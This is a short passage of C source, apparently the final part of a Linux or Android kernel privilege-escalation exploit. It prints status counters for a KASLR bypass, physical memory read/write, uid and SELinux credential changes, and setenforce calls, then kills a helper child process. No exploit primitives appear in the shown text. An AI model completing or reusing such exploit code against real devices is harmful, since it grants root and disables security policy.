             "write_ok=%d rw64=%d/%d uid=%u->%u sid=%u/%u->%u/%u "
             "selinux=%u->%u setgid=%d setuid=%d setenforce=%d/%d\n",
             getpid(), atomic_load(&cfi_stage_done), root_child_done, kaslr_done,
             physrw_read_ok, physrw_write_ok, physrw_read64_ok, physrw_write64_ok,
             root_uid_before, root_uid_after, cred_sid_before, real_cred_sid_before,
             cred_sid_after, real_cred_sid_after, selinux_before, selinux_after,
             setgid_ret, setuid_ret, setenforce_ret, setenforce_errno);
  if (pipe_prepare_child > 0) {
    SYSCHK(kill(pipe_prepare_child, SIGKILL));
    SYSCHK(waitpid(pipe_prepare_child, NULL, 0));
  }
  sleep(5);
  return 0;
}